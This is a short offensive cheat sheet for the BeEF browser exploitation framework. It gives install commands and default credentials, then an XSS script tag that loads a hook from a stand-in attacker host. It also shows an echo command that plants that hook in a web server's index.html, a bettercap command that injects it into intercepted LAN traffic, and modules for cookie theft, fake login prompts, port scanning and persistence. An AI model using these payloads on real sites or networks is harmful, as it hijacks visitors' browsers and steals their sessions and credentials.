aeondave/malskill/beef

# Kali
beef-xss
 
# Or from source
git clone https://github.com/beefproject/beef
cd beef && ./install && ./beef
 
# Panel: http://127.0.0.1:3000/ui/panel
# Default creds: beef/beef
# Hook URL: http://YOUR_IP:3000/hook.js

<!-- Inject in XSS payload or MITM response -->
<script src="http://YOUR_IP:3000/hook.js"></script>

Modules > Browser > Hooked Domain > Get Cookie

Modules > Social Engineering > Pretty Theft

Modules > Network > Port Scanner
# Set targets: 192.168.1.1-254

// Service Worker persistence (browser-based)
// Modules > Persistence > Create Foreground iFrame
// Modules > Persistence > Man-In-The-Browser

# Embed in page permanently (if you have file write)
echo '<script src="http://YOUR_IP:3000/hook.js"></script>' >> /var/www/html/index.html

beef:
  credentials:
    user: "beef"
    passwd: "changeme"      # Change default
  http:
    host: "0.0.0.0"
    port: "3000"
  https:
    enable: true
    port: "3001"

# Inject via Responder + MITM (if on LAN)
# Inject via stored XSS
# Inject via MITM with bettercap
bettercap -eval "set http.proxy.injectjs http://YOUR_IP:3000/hook.js; http.proxy on"